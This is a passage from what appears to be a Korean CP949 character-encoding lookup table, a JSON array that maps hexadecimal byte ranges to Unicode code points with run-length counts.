E82\uBE83\uBE85",6,"\uBE8E\uBE92",5,"\uBE9A",13,"\uBEA9",14],["9641","\uBEB8",23,"\uBED2\uBED3"],["9661","\uBED5\uBED6\uBED9",6,"\uBEE1\uBEE2\uBEE6",5,"\uBEED",8],["9681","\uBEF6",10,"\uBF02",5,"\uBF0A",13,"\uBF1A\uBF1E",33,"\uBF42\uBF43\uBF45\uBF46\uBF47\uBF49",6,"\uBF52\uBF53\uBF54\uBF56",44],["9741","\uBF83",16,"\uBF95",8],["9761","\uBF9E",17,"\uBFB1",7],["9781","\uBFB9",11,"\uBFC6",5,"\uBFCE\uBFCF\uBFD1\uBFD2\uBFD3\uBFD5",6,"\uBFDD\uBFDE\uBFE0\uBFE2",89,"\uC03D\uC03E\uC03F"],["9841","\uC040",16,"\uC052",5,"\uC059\uC05A\uC05B"],["9861","\uC05D\uC05E\uC05F\uC061",6,"\uC06A",15],["9881","\uC07A",21,"\uC092\uC093\uC095\uC096\uC097\uC099",6,"\uC0A2\uC0A4\uC0A6",5,"\uC0AE\uC0B1\uC0B2\uC0B7",4,"\uC0BE\uC0C2\uC0C3\uC0C4\uC0C6\uC0C7\uC0CA\uC0CB\uC0CD\uC0CE\uC0CF\uC0D1",6,"\uC0DA\uC0DE",5,"\uC0E6\uC0E7\uC0E9\uC0EA\uC0EB\uC0ED",6,"\uC0F6\uC0F8\uC0FA",5,"\uC101\uC102\uC103\uC105\uC106\uC107\uC109",6,"\uC111\uC112\uC113\uC114\uC116",5,"\uC121\uC122\uC125\uC128\uC129\uC12A\uC12B\uC12E"],["9941","\uC132\uC133\uC134\uC135\uC137\uC13A\uC13B\uC13D\uC13E\uC13F\uC141",6,"\uC14A\uC14E",5,"\uC156\uC157"],["9961","\uC159\uC15A\uC15B\uC15D",6,"\uC166\uC16A",5,"\uC171\uC172\uC173\uC175\uC176\uC177\uC179\uC17A\uC17B"],["9981","\uC17C",8,"\uC186",5,"\uC18F\uC191\uC192\uC193\uC195\uC197",4,"\uC19E\uC1A0\uC1A2\uC1A3\uC1A4\uC1A6\uC1A7\uC1AA\uC1AB\uC1AD\uC1AE\uC1AF\uC1B1",11,"\uC1BE",5,"\uC1C5\uC1C6\uC1C7\uC1C9\uC1CA\uC1CB\uC1CD",6,"\uC1D5\uC1D6\uC1D9",6,"\uC1E1\uC1E2\uC1E3\uC1E5\uC1E6\uC1E7\uC1E9",6,"\uC1F2\uC1F4",7,"\uC1FE\uC1FF\uC201\uC202\uC203\uC205",6,"\uC20E\uC210\uC212",5,"\uC21A\uC21B\uC21D\uC21E\uC221\uC222\uC223"],["9a41","\uC224\uC225\uC226\uC227\uC22A\uC22C\uC22E\uC230\uC233\uC235",16],["9a61","\uC246\uC247\uC249",6,"\uC252\uC253\uC255\uC256\uC257\uC259",6,"\uC261\uC262\uC263\uC264\uC266"],["9a81","\uC267",4,"\uC26E\uC26F\uC271\uC272\uC273\uC275",6,"\uC27E\uC280\uC282",5,"\uC28A",5,"\uC291",6,"\uC299\uC29A\uC29C\uC29E",5,"\uC2A6\uC2A7\uC2A9\uC2AA\uC2AB\uC2AE",5,"\uC2B6\uC2B8\uC2BA",33,"\uC2DE\uC2DF\uC2E1\uC2E2\uC2E5",5,"\uC2EE\uC2F0\uC2F2\uC2F3\uC2F4\uC2F5\uC2F7\uC2FA\uC2FD\uC2FE\uC2FF\uC301",6,"\uC30A\uC30B\uC30E\uC30F"],["9b41","\uC310\uC311\uC312\uC316\uC317\uC319\uC31A\uC31B\uC31D",6,"\uC326\uC327\uC32A",8],["9b61","\uC333",17,"\uC346",7],["9b81","\uC34E",25,"\uC36A\uC36B\uC36D\uC36E\uC36F\uC371\uC373",4,"\uC37A\uC37B\uC37E",5,"\uC385\uC386\uC387\uC389\uC38A\uC38B\uC38D",50,"\uC3C1",22,"\uC3DA"],["9c41","\uC3DB\uC3DD\uC3DE\uC3E1\uC3E3",4,"\uC3EA\uC3EB\uC3EC\uC3EE",5,"\uC3F6\uC3F7\uC3F9",5],["9c61","\uC3FF",8,"\uC409",6,"\uC411",9],["9c81","\uC41B",8,"\uC425",6,"\uC42D\uC42E\uC42F\uC431\uC432\uC433\uC435",6,"\uC43E",9,"\uC449",26,"\uC466\uC467\uC469\uC46A\uC46B\uC46D",6,"\uC476\uC477\uC478\uC47A",5,"\uC481",18,"\uC495",6,"\uC49D",12],["9d41","\uC4AA",13,"\uC4B9\uC4BA\uC4BB\uC4BD",8],["9d61","\uC4C6",25],["9d81","\uC4E0",8,"\uC4EA",5,"\uC4F2\uC4F3\uC4F5\uC4F6\uC4F7\uC4F9\uC4FB\uC4FC\uC4FD\uC4FE\uC502",9,"\uC50D\uC50E\uC50F\uC511\uC512\uC513\uC515",6,"\uC51D",10,"\uC52A\uC52B\uC52D\uC52E\uC52F\uC531",6,"\uC53A\uC53C\uC53E",5,"\uC546\uC547\uC54B\uC54F\uC550\uC551\uC552\uC556\uC55A\uC55B\uC55C\uC55F\uC562\uC563\uC565\uC566\uC567\uC569",6,"\uC572\uC576",5,"\uC57E\uC57F\uC581\uC582\uC583\uC585\uC586\uC588\uC589\uC58A\uC58B\uC58E\uC590\uC592\uC593\uC594"],["9e41","\uC596\uC599\uC59A\uC59B\uC59D\uC59E\uC59F\uC5A1",7,"\uC5AA",9,"\uC5B6"],["9e61","\uC5B7\uC5BA\uC5BF",4,"\uC5CB\uC5CD\uC5CF\uC5D2\uC5D3\uC5D5\uC5D6\uC5D7\uC5D9",6,"\uC5E2\uC5E4\uC5E6\uC5E7"],["9e81","\uC5E8\uC5E9\uC5EA\uC5EB\uC5EF\uC5F1\uC5F2\uC5F3\uC5F5\uC5F8\uC5F9\uC5FA\uC5FB\uC602\uC603\uC604\uC609\uC60A\uC60B\uC60D\uC60E\uC60F\uC611",6,"\uC61A\uC61D",6,"\uC626\uC627\uC629\uC62A\uC62B\uC62F\uC631\uC632\uC636\uC638\uC63A\uC63C\uC63D\uC63E\uC63F\uC642\uC643\uC645\uC646\uC647\uC649",6,"\uC652\uC656",5,"\uC65E\uC65F\uC661",10,"\uC66D\uC66E\uC670\uC672",5,"\uC67A\uC67B\uC67D\uC67E\uC67F\uC681",6,"\uC68A\uC68C\uC68E",5,"\uC696\uC697\uC699\uC69A\uC69B\uC69D",6,"\uC6A6"],["9f41","\uC6A8\uC6AA",5,"\uC6B2\uC6B3\uC6B5\uC6B6\uC6B7\uC6BB",4,"\uC6C2\uC6C4\uC6C6",5,"\uC6CE"],["9f61","\uC6CF\uC6D1\uC6D2\uC6D3\uC6D5",6,"\uC6DE\uC6DF\uC6E2",5,"\uC6EA\uC6EB\uC6ED\uC6EE\uC6EF\uC6F1\uC6F2"],["9f81","\uC6F3",4,"\uC6FA\uC6FB\uC6FC\uC6FE",5,"\uC706\uC707\uC709\uC70A\uC70B\uC70D",6,"\uC716\uC718\uC71A",5,"\uC722\uC723\uC725\uC726\uC727\uC729",6,"\uC732\uC734\uC736\uC738\uC739\uC73A\uC73B\uC73E\uC73F\uC741\uC742\uC743\uC745",4,"\uC74B\uC74E\uC750\uC759\uC75A\uC75B\uC75D\uC75E\uC75F\uC761",6,"\uC769\uC76A\uC76C",7,"\uC776\uC777\uC779\uC77A\uC77B\uC77F\uC780\uC781\uC782\uC786\uC78B\uC78C\uC78D\uC78F\uC792\uC793\uC795\uC799\uC79B",4,"\uC7A2\uC7A7",4,"\uC7AE\uC7AF\uC7B1\uC7B2\uC7B3\uC7B5\uC7B6\uC7B7"],["a041","\uC7B8\uC7B9\uC7BA\uC7BB\uC7BE\uC7C2",5,"\uC7CA\uC7CB\uC7CD\uC7CF\uC7D1",6,"\uC7D9\uC7DA\uC7DB\uC7DC"],["a061","\uC7DE",5,"\uC7E5\uC7E6\uC7E7\uC7E9\uC7EA\uC7EB\uC7ED",13],["a081","\uC7FB",4,"\uC802\uC803\uC805\uC806\uC807\uC809\uC80B",4,"\uC812\uC814\uC817",4,"\uC81E\uC81F\uC821\uC822\uC823\uC825",6,"\uC82E\uC830\uC832",5,"\uC839\uC83A\uC83B\uC83D\uC83E\uC83F\uC841",6,"\uC84A\uC84B\uC84E",5,"\uC855",26,"\uC872\uC873\uC875\uC876\uC877\uC879\uC87B",4,"\uC882\uC884\uC888\uC889\uC88A\uC88E",5,"\uC895",7,"\uC89E\uC8A0\uC8A2\uC8A3\uC8A4"],["a141","\uC8A5\uC8A6\uC8A7\uC8A9",18,"\uC8BE\uC8BF\uC8C0\uC8C1"],["a161","\uC8C2\uC8C3\uC8C5\uC8C6\uC8C7\uC8C9\uC8CA\uC8CB\uC8CD",6,"\uC8D6\uC8D8\uC8DA",5,"\uC8E2\uC8E3\uC8E5"],["a181","\uC8E6",14,"\uC8F6",5,"\uC8FE\uC8FF\uC901\uC902\uC903\uC907",4,"\uC90E\u3000\u3001\u3002\xB7\u2025\u2026\xA8\u3003\xAD\u2015\u2225\uFF3C\u223C\u2018\u2019\u201C\u201D\u3014\u3015\u3008",9,"\xB1\xD7\xF7\u2260\u2264\u2265\u221E\u2234\xB0\u2032\u2033\u2103\u212B\uFFE0\uFFE1\uFFE5\u2642\u2640\u2220\u22A5\u2312\u2202\u2207\u2261\u2252\xA7\u203B\u2606\u2605\u25CB\u25CF\u25CE\u25C7\u25C6\u25A1\u25A0\u25B3\u25B2\u25BD\u25BC\u2192\u2190\u2191\u2193\u2194\u3013\u226A\u226B\u221A\u223D\u221D\u2235\u222B\u222C\u2208\u220B\u2286\u2287\u2282\u2283\u222A\u2229\u2227\u2228\uFFE2"],["a241","\uC910\uC912",5,"\uC919",18],["a261","\uC92D",6,"\uC935",18],["a281","\uC948",7,"\uC952\uC953\uC955\uC956\uC957\uC959",6,"\uC962\uC964",7,"\uC96D\uC96E\uC96F\u21D2\u21D4\u2200\u2203\xB4\uFF5E\u02C7\u02D8\u02DD\u02DA\u02D9\xB8\u02DB\xA1\xBF\u02D0\u222E\u2211\u220F\xA4\u2109\u2030\u25C1\u25C0\u25B7\u25B6\u2664\u2660\u2661\u2665\u2667\u2663\u2299\u25C8\u25A3\u25D0\u25D1\u2592\u25A4\u25A5\u25A8\u25A7\u25A6\u25A9\u2668\u260F\u260E\u261C\u261E\xB6\u2020\u2021\u2195\u2197\u2199\u2196\u2198\u266D\u2669\u266A\u266C\u327F\u321C\u2116\u33C7\u2122\u33C2\u33D8\u2121\u20AC\xAE"],["a341","\uC971\uC972\uC973\uC975",6,"\uC97D",10,"\uC98A\uC98B\uC98D\uC98E\uC98F"],["a361","\uC991",6,"\uC99A\uC99C\uC99E",16],["a381","\uC9AF",16,"\uC9C2\uC9C3\uC9C5\uC9C6\uC9C9\uC9CB",4,"\uC9D2\uC9D4\uC9D7\uC9D8\uC9DB\uFF01",58,"\uFFE6\uFF3D",32,"\uFFE3"],["a441","\uC9DE\uC9DF\uC9E1\uC9E3\uC9E5\uC9E6\uC9E8\uC9E9\uC9EA\uC9EB\uC9EE\uC9F2",5,"\uC9FA\uC9FB\uC9FD\uC9FE\uC9FF\uCA01\uCA02\uCA03\uCA04"],["a461","\uCA05\uCA06\uCA07\uCA0A\uCA0E",5,"\uCA15\uCA16\uCA17\uCA19",12],["a481","\uCA26\uCA27\uCA28\uCA2A",28,"\u3131",93],["a541","\uCA47",4,"\uCA4E\uCA4F\uCA51\uCA52\uCA53\uCA55",6,"\uCA5E\uCA62",5,"\uCA69\uCA6A"],["a561","\uCA6B",17,"\uCA7E",5,"\uCA85\uCA86"],["a581","\uCA87",16,"\uCA99",14,"\u2170",9],["a5b0","\u2160",9],["a5c1","\u0391",16,"\u03A3",6],["a5e1","\u03B1",16,"\u03C3",6],["a641","\uCAA8",19,"\uCABE\uCABF\uCAC1\uCAC2\uCAC3\uCAC5"],["a661","\uCAC6",5,"\uCACE\uCAD0\uCAD2\uCAD4\uCAD5\uCAD6\uCAD7\uCADA",5,"\uCAE1",6],["a681","\uCAE8\uCAE9\uCAEA\uCAEB\uCAED",6,"\uCAF5",18,"\uCB09\uCB0A\u2500\u2502\u250C\u2510\u2518\u2514\u251C\u252C\u2524\u2534\u253C\u2501\u2503\u250F\u2513\u251B\u2517\u2523\u2533\u252B\u253B\u254B\u2520\u252F\u2528\u2537\u253F\u251D\u2530\u2525\u2538\u2542\u2512\u2511\u251A\u2519\u2516\u2515\u250E\u250D\u251E\u251F\u2521\u2522\u2526\u2527\u2529\u252A\u252D\u252E\u2531\u2532\u2535\u2536\u2539\u253A\u253D\u253E\u2540\u2541\u2543",7],["a741","\uCB0B",4,"\uCB11\uCB12\uCB13\uCB15\uCB16\uCB17\uCB19",6,"\uCB22",7],["a761","\uCB2A",22,"\uCB42\uCB43\uCB44"],["a781","\uCB45\uCB46\uCB47\uCB4A\uCB4B\uCB4D\uCB4E\uCB4F\uCB51",6,"\uCB5A\uCB5B\uCB5C\uCB5E",5,"\uCB65",7,"\u3395\u3396\u3397\u2113\u3398\u33C4\u33A3\u33A4\u33A5\u33A6\u3399",9,"\u33CA\u338D\u338E\u338F\u33CF\u3388\u3389\u33C8\u33A7\u33A8\u33B0",9,"\u3380",4,"\u33BA",5,"\u3390",4,"\u2126\u33C0\u33C1\u338A\u338B\u338C\u33D6\u33C5\u33AD\u33AE\u33AF\u33DB\u33A9\u33AA\u33AB\u33AC\u33DD\u33D0\u33D3\u33C3\u33C9\u33DC\u33C6"],["a841","\uCB6D",10,"\uCB7A",14],["a861","\uCB89",18,"\uCB9D",6],["a881","\uCBA4",19,"\uCBB9",11,"\xC6\xD0\xAA\u0126"],["a8a6","\u0132"],["a8a8","\u013F\u0141\xD8\u0152\xBA\xDE\u0166\u014A"],["a8b1","\u3260",27,"\u24D0",25,"\u2460",14,"\xBD\u2153\u2154\xBC\xBE\u215B\u215C\u215D\u215E"],["a941","\uCBC5",14,"\uCBD5",10],["a961","\uCBE0\uCBE1\uCBE2\uCBE3\uCBE5\uCBE6\uCBE8\uCBEA",18],["a981","\uCBFD",14,"\uCC0E\uCC0F\uCC11\uCC12\uCC13\uCC15",6,"\uCC1E\uCC1F\uCC20\uCC23\uCC24\xE6\u0111\xF0\u0127\u0131\u0133\u0138\u0140\u0142\xF8\u0153\xDF\xFE\u0167\u014B\u0149\u3200",27,"\u249C",25,"\u2474",14,"\xB9\xB2\xB3\u2074\u207F\u2081\u2082\u2083\u2084"],["aa41","\uCC25\uCC26\uCC2A\uCC2B\uCC2D\uCC2F\uCC31",6,"\uCC3A\uCC3F",4,"\uCC46\uCC47\uCC49\uCC4A\uCC4B\uCC4D\uCC4E"],["aa61","\uCC4F",4,"\uCC56\uCC5A",5,"\uCC61\uCC62\uCC63\uCC65\uCC67\uCC69",6,"\uCC71\uCC72"],["aa81","\uCC73\uCC74\uCC76",29,"\u3041",82],["ab41","\uCC94\uCC95\uCC96\uCC97\uCC9A\uCC9B\uCC9D\uCC9E\uCC9F\uCCA1",6,"\uCCAA\uCCAE",5,"\uCCB6\uCCB7\uCCB9"],["ab61","\uCCBA\uCCBB\uCCBD",6,"\uCCC6\uCCC8\uCCCA",5,"\uCCD1\uCCD2\uCCD3\uCCD5",5],["ab81","\uCCDB",8,"\uCCE5",6,"\uCCED\uCCEE\uCCEF\uCCF1",12,"\u30A1",85],["ac41","\uCCFE\uCCFF\uCD00\uCD02",5,"\uCD0A\uCD0B\uCD0D\uCD0E\uCD0F\uCD11",6,"\uCD1A\uCD1C\uCD1E\uCD1F\uCD20"],["ac61","\uCD21\uCD22\uCD23\uCD25\uCD26\uCD27\uCD29\uCD2A\uCD2B\uCD2D",11,"\uCD3A",4],["ac81","\uCD3F",28,"\uCD5D\uCD5E\uCD5F\u0410",5,"\u0401\u0416",25],["acd1","\u0430",5,"\u0451\u0436",25],["ad41","\uCD61\uCD62\uCD63\uCD65",6,"\uCD6E\uCD70\uCD72",5,"\uCD79",7],["ad61","\uCD81",6,"\uCD89",10,"\uCD96\uCD97\uCD99\uCD9A\uCD9B\uCD9D\uCD9E\uCD9F"],["ad81","\uCDA0\uCDA1\uCDA2\uCDA3\uCDA6\uCDA8\uCDAA",5,"\uCDB1",18,"\uCDC5"],["ae41","\uCDC6",5,"\uCDCD\uCDCE\uCDCF\uCDD1",16],["ae61","\uCDE2",5,"\uCDE9\uCDEA\uCDEB\uCDED\uCDEE\uCDEF\uCDF1",6,"\uCDFA\uCDFC\uCDFE",4],["ae81","\uCE03\uCE05\uCE06\uCE07\uCE09\uCE0A\uCE0B\uCE0D",6,"\uCE15\uCE16\uCE17\uCE18\uCE1A",5,"\uCE22\uCE23\uCE25\uCE26\uCE27\uCE29\uCE2A\uCE2B"],["af41","\uCE2C\uCE2D\uCE2E\uCE2F\uCE32\uCE34\uCE36",19],["af61","\uCE4A",13,"\uCE5A\uCE5B\uCE5D\uCE5E\uCE62",5,"\uCE6A\uCE6C"],["af81","\uCE6E",5,"\uCE76\uCE77\uCE79\uCE7A\uCE7B\uCE7D",6,"\uCE86\uCE88\uCE8A",5,"\uCE92\uCE93\uCE95\uCE96\uCE97\uCE99"],["b041","\uCE9A",5,"\uCEA2\uCEA6",5,"\uCEAE",12],["b061","\uCEBB",5,"\uCEC2",19],["b081","\uCED6",13,"\uCEE6\uCEE7\uCEE9\uCEEA\uCEED",6,"\uCEF6\uCEFA",5,"\uAC00\uAC01\uAC04\uAC07\uAC08\uAC09\uAC0A\uAC10",7,"\uAC19",4,"\uAC20\uAC24\uAC2C\uAC2D\uAC2F\uAC30\uAC31\uAC38\uAC39\uAC3C\uAC40\uAC4B\uAC4D\uAC54\uAC58\uAC5C\uAC70\uAC71\uAC74\uAC77\uAC78\uAC7A\uAC80\uAC81\uAC83\uAC84\uAC85\uAC86\uAC89\uAC8A\uAC8B\uAC8C\uAC90\uAC94\uAC9C\uAC9D\uAC9F\uACA0\uACA1\uACA8\uACA9\uACAA\uACAC\uACAF\uACB0\uACB8\uACB9\uACBB\uACBC\uACBD\uACC1\uACC4\uACC8\uACCC\uACD5\uACD7\uACE0\uACE1\uACE4\uACE7\uACE8\uACEA\uACEC\uACEF\uACF0\uACF1\uACF3\uACF5\uACF6\uACFC\uACFD\uAD00\uAD04\uAD06"],["b141","\uCF02\uCF03\uCF05\uCF06\uCF07\uCF09",6,"\uCF12\uCF14\uCF16",5,"\uCF1D\uCF1E\uCF1F\uCF21\uCF22\uCF23"],["b161","\uCF25",6,"\uCF2E\uCF32",5,"\uCF39",11],["b181","\uCF45",14,"\uCF56\uCF57\uCF59\uCF5A\uCF5B\uCF5D",6,"\uCF66\uCF68\uCF6A\uCF6B\uCF6C\uAD0C\uAD0D\uAD0F\uAD11\uAD18\uAD1C\uAD20\uAD29\uAD2C\uAD2D\uAD34\uAD35\uAD38\uAD3C\uAD44\uAD45\uAD47\uAD49\uAD50\uAD54\uAD58\uAD61\uAD63\uAD6C\uAD6D\uAD70\uAD73\uAD74\uAD75\uAD76\uAD7B\uAD7C\uAD7D\uAD7F\uAD81\uAD82\uAD88\uAD89\uAD8C\uAD90\uAD9C\uAD9D\uADA4\uADB7\uADC0\uADC1\uADC4\uADC8\uADD0\uADD1\uADD3\uADDC\uADE0\uADE4\uADF8\uADF9\uADFC\uADFF\uAE00\uAE01\uAE08\uAE09\uAE0B\uAE0D\uAE14\uAE30\uAE31\uAE34\uAE37\uAE38\uAE3A\uAE40\uAE41\uAE43\uAE45\uAE46\uAE4A\uAE4C\uAE4D\uAE4E\uAE50\uAE54\uAE56\uAE5C\uAE5D\uAE5F\uAE60\uAE61\uAE65\uAE68\uAE69\uAE6C\uAE70\uAE78"],["b241","\uCF6D\uCF6E\uCF6F\uCF72\uCF73\uCF75\uCF76\uCF77\uCF79",6,"\uCF81\uCF82\uCF83\uCF84\uCF86",5,"\uCF8D"],["b261","\uCF8E",18,"\uCFA2",5,"\uCFA9"],["b281","\uCFAA",5,"\uCFB1",18,"\uCFC5",6,"\uAE79\uAE7B\uAE7C\uAE7D\uAE84\uAE85\uAE8C\uAEBC\uAEBD\uAEBE\uAEC0\uAEC4\uAECC\uAECD\uAECF\uAED0\uAED1\uAED8\uAED9\uAEDC\uAEE8\uAEEB\uAEED\uAEF4\uAEF8\uAEFC\uAF07\uAF08\uAF0D\uAF10\uAF2C\uAF2D\uAF30\uAF32\uAF34\uAF3C\uAF3D\uAF3F\uAF41\uAF42\uAF43\uAF48\uAF49\uAF50\uAF5C\uAF5D\uAF64\uAF65\uAF79\uAF80\uAF84\uAF88\uAF90\uAF91\uAF95\uAF9C\uAFB8\uAFB9\uAFBC\uAFC0\uAFC7\uAFC8\uAFC9\uAFCB\uAFCD\uAFCE\uAFD4\uAFDC\uAFE8\uAFE9\uAFF0\uAFF1\uAFF4\uAFF8\uB000\uB001\uB004\uB00C\uB010\uB014\uB01C\uB01D\uB028\uB044\uB045\uB048\uB04A\uB04C\uB04E\uB053\uB054\uB055\uB057\uB059"],["b341","\uCFCC",19,"\uCFE2\uCFE3\uCFE5\uCFE6\uCFE7\uCFE9"],["b361","\uCFEA",5,"\uCFF2\uCFF4\uCFF6",5,"\uCFFD\uCFFE\uCFFF\uD001\uD002\uD003\uD005",5],["b381","\uD00B",5,"\uD012",5,"\uD019",19,"\uB05D\uB07C\uB07D\uB080\uB084\uB08C\uB08D\uB08F\uB091\uB098\uB099\uB09A\uB09C\uB09F\uB0A0\uB0A1\uB0A2\uB0A8\uB0A9\uB0AB",4,"\uB0B1\uB0B3\uB0B4\uB0B5\uB0B8\uB0BC\uB0C4\uB0C5\uB0C7\uB0C8\uB0C9\uB0D0\uB0D1\uB0D4\uB0D8\uB0E0\uB0E5\uB108\uB109\uB10B\uB10C\uB110\uB112\uB113\uB118\uB119\uB11B\uB11C\uB11D\uB123\uB124\uB125\uB128\uB12C\uB134\uB135\uB137\uB138\uB139\uB140\uB141\uB144\uB148\uB150\uB151\uB154\uB155\uB158\uB15C\uB160\uB178\uB179\uB17C\uB180\uB182\uB188\uB189\uB18B\uB18D\uB192\uB193\uB194\uB198\uB19C\uB1A8\uB1CC\uB1D0\uB1D4\uB1DC\uB1DD"],["b441","\uD02E",5,"\uD036\uD037\uD039\uD03A\uD03B\uD03D",6,"\uD046\uD048\uD04A",5],["b461","\uD051\uD052\uD053\uD055\uD056\uD057\uD059",6,"\uD061",10,"\uD06E\uD06F"],["b481","\uD071\uD072\uD073\uD075",6,"\uD07E\uD07F\uD080\uD082",18,"\uB1DF\uB1E8\uB1E9\uB1EC\uB1F0\uB1F9\uB1FB\uB1FD\uB204\uB205\uB208\uB20B\uB20C\uB214\uB215\uB217\uB219\uB220\uB234\uB23C\uB258\uB25C\uB260\uB268\uB269\uB274\uB275\uB27C\uB284\uB285\uB289\uB290\uB291\uB294\uB298\uB299\uB29A\uB2A0\uB2A1\uB2A3\uB2A5\uB2A6\uB2AA\uB2AC\uB2B0\uB2B4\uB2C8\uB2C9\uB2CC\uB2D0\uB2D2\uB2D8\uB2D9\uB2DB\uB2DD\uB2E2\uB2E4\uB2E5\uB2E6\uB2E8\uB2EB",4,"\uB2F3\uB2F4\uB2F5\uB2F7",4,"\uB2FF\uB300\uB301\uB304\uB308\uB310\uB311\uB313\uB314\uB315\uB31C\uB354\uB355\uB356\uB358\uB35B\uB35C\uB35E\uB35F\uB364\uB365"],["b541","\uD095",14,"\uD0A6\uD0A7\uD0A9\uD0AA\uD0AB\uD0AD",5],["b561","\uD0B3\uD0B6\uD0B8\uD0BA",5,"\uD0C2\uD0C3\uD0C5\uD0C6\uD0C7\uD0CA",5,"\uD0D2\uD0D6",4],["b581","\uD0DB\uD0DE\uD0DF\uD0E1\uD0E2\uD0E3\uD0E5",6,"\uD0EE\uD0F2",5,"\uD0F9",11,"\uB367\uB369\uB36B\uB36E\uB370\uB371\uB374\uB378\uB380\uB381\uB383\uB384\uB385\uB38C\uB390\uB394\uB3A0\uB3A1\uB3A8\uB3AC\uB3C4\uB3C5\uB3C8\uB3CB\uB3CC\uB3CE\uB3D0\uB3D4\uB3D5\uB3D7\uB3D9\uB3DB\uB3DD\uB3E0\uB3E4\uB3E8\uB3FC\uB410\uB418\uB41C\uB420\uB428\uB429\uB42B\uB434\uB450\uB451\uB454\uB458\uB460\uB461\uB463\uB465\uB46C\uB480\uB488\uB49D\uB4A4\uB4A8\uB4AC\uB4B5\uB4B7\uB4B9\uB4C0\uB4C4\uB4C8\uB4D0\uB4D5\uB4DC\uB4DD\uB4E0\uB4E3\uB4E4\uB4E6\uB4EC\uB4ED\uB4EF\uB4F1\uB4F8\uB514\uB515\uB518\uB51B\uB51C\uB524\uB525\uB527\uB528\uB529\uB52A\uB530\uB531\uB534\uB538"],["b641","\uD105",7,"\uD10E",17],["b661","\uD120",15,"\uD132\uD133\uD135\uD136\uD137\uD139\uD13B\uD13C\uD13D\uD13E"],["b681","\uD13F\uD142\uD146",5,"\uD14E\uD14F\uD151\uD152\uD153\uD155",6,"\uD15E\uD160\uD162",5,"\uD169\uD16A\uD16B\uD16D\uB540\uB541\uB543\uB544\uB545\uB54B\uB54C\uB54D\uB550\uB554\uB55C\uB55D\uB55F\uB560\uB561\uB5A0\uB5A1\uB5A4\uB5A8\uB5AA\uB5AB\uB5B0\uB5B1\uB5B3\uB5B4\uB5B5\uB5BB\uB5BC\uB5BD\uB5C0\uB5C4\uB5CC\uB5CD\uB5CF\uB5D0\uB5D1\uB5D8\uB5EC\uB610\uB611\uB614\uB618\uB625\uB62C\uB634\uB648\uB664\uB668\uB69C\uB69D\uB6A0\uB6A4\uB6AB\uB6AC\uB6B1\uB6D4\uB6F0\uB6F4\uB6F8\uB700\uB701\uB705\uB728\uB729\uB72C\uB72F\uB730\uB738\uB739\uB73B\uB744\uB748\uB74C\uB754\uB755\uB760\uB764\uB768\uB770\uB771\uB773\uB775\uB77C\uB77D\uB780\uB784\uB78C\uB78D\uB78F\uB790\uB791\uB792\uB796\uB797"],["b741","\uD16E",13,"\uD17D",6,"\uD185\uD186\uD187\uD189\uD18A"],["b761","\uD18B",20,"\uD1A2\uD1A3\uD1A5\uD1A6\uD1A7"],["b781","\uD1A9",6,"\uD1B2\uD1B4\uD1B6\uD1B7\uD1B8\uD1B9\uD1BB\uD1BD\uD1BE\uD1BF\uD1C1",14,"\uB798\uB799\uB79C\uB7A0\uB7A8\uB7A9\uB7AB\uB7AC\uB7AD\uB7B4\uB7B5\uB7B8\uB7C7\uB7C9\uB7EC\uB7ED\uB7F0\uB7F4\uB7FC\uB7FD\uB7FF\uB800\uB801\uB807\uB808\uB809\uB80C\uB810\uB818\uB819\uB81B\uB81D\uB824\uB825\uB828\uB82C\uB834\uB835\uB837\uB838\uB839\uB840\uB844\uB851\uB853\uB85C\uB85D\uB860\uB864\uB86C\uB86D\uB86F\uB871\uB878\uB87C\uB88D\uB8A8\uB8B0\uB8B4\uB8B8\uB8C0\uB8C1\uB8C3\uB8C5\uB8CC\uB8D0\uB8D4\uB8DD\uB8DF\uB8E1\uB8E8\uB8E9\uB8EC\uB8F0\uB8F8\uB8F9\uB8FB\uB8FD\uB904\uB918\uB920\uB93C\uB93D\uB940\uB944\uB94C\uB94F\uB951\uB958\uB959\uB95C\uB960\uB968\uB969"],["b841","\uD1D0",7,"\uD1D9",17],["b861","\uD1EB",8,"\uD1F5\uD1F6\uD1F7\uD1F9",13],["b881","\uD208\uD20A",5,"\uD211",24,"\uB96B\uB96D\uB974\uB975\uB978\uB97C\uB984\uB985\uB987\uB989\uB98A\uB98D\uB98E\uB9AC\uB9AD\uB9B0\uB9B4\uB9BC\uB9BD\uB9BF\uB9C1\uB9C8\uB9C9\uB9CC\uB9CE",4,"\uB9D8\uB9D9\uB9DB\uB9DD\uB9DE\uB9E1\uB9E3\uB9E4\uB9E5\uB9E8\uB9EC\uB9F4\uB9F5\uB9F7\uB9F8\uB9F9\uB9FA\uBA00\uBA01\uBA08\uBA15\uBA38\uBA39\uBA3C\uBA40\uBA42\uBA48\uBA49\uBA4B\uBA4D\uBA4E\uBA53\uBA54\uBA55\uBA58\uBA5C\uBA64\uBA65\uBA67\uBA68\uBA69\uBA70\uBA71\uBA74\uBA78\uBA83\uBA84\uBA85\uBA87\uBA8C\uBAA8\uBAA9\uBAAB\uBAAC\uBAB0\uBAB2\uBAB8\uBAB9\uBABB\uBABD\uBAC4\uBAC8\uBAD8\uBAD9\uBAFC"],["b941","\uD22A\uD22B\uD22E\uD22F\uD231\uD232\uD233\uD235",6,"\uD23E\uD240\uD242",5,"\uD249\uD24A\uD24B\uD24C"],["b961","\uD24D",14,"\uD25D",6,"\uD265\uD266\uD267\uD268"],["b981","\uD269",22,"\uD282\uD283\uD285\uD286\uD287\uD289\uD28A\uD28B\uD28C\uBB00\uBB04\uBB0D\uBB0F\uBB11\uBB18\uBB1C\uBB20\uBB29\uBB2B\uBB34\uBB35\uBB36\uBB38\uBB3B\uBB3C\uBB3D\uBB3E\uBB44\uBB45\uBB47\uBB49\uBB4D\uBB4F\uBB50\uBB54\uBB58\uBB61\uBB63\uBB6C\uBB88\uBB8C\uBB90\uBBA4\uBBA8\uBBAC\uBBB4\uBBB7\uBBC0\uBBC4\uBBC8\uBBD0\uBBD3\uBBF8\uBBF9\uBBFC\uBBFF\uBC00\uBC02\uBC08\uBC09\uBC0B\uBC0C\uBC0D\uBC0F\uBC11\uBC14",4,"\uBC1B",4,"\uBC24\uBC25\uBC27\uBC29\uBC2D\uBC30\uBC31\uBC34\uBC38\uBC40\uBC41\uBC43\uBC44\uBC45\uBC49\uBC4C\uBC4D\uBC50\uBC5D\uBC84\uBC85\uBC88\uBC8B\uBC8C\uBC8E\uBC94\uBC95\uBC97"],["ba41","\uD28D\uD28E\uD28F\uD292\uD293\uD294\uD296",5,"\uD29D\uD29E\uD29F\uD2A1\uD2A2\uD2A3\uD2A5",6,"\uD2AD"],["ba61","\uD2AE\uD2AF\uD2B0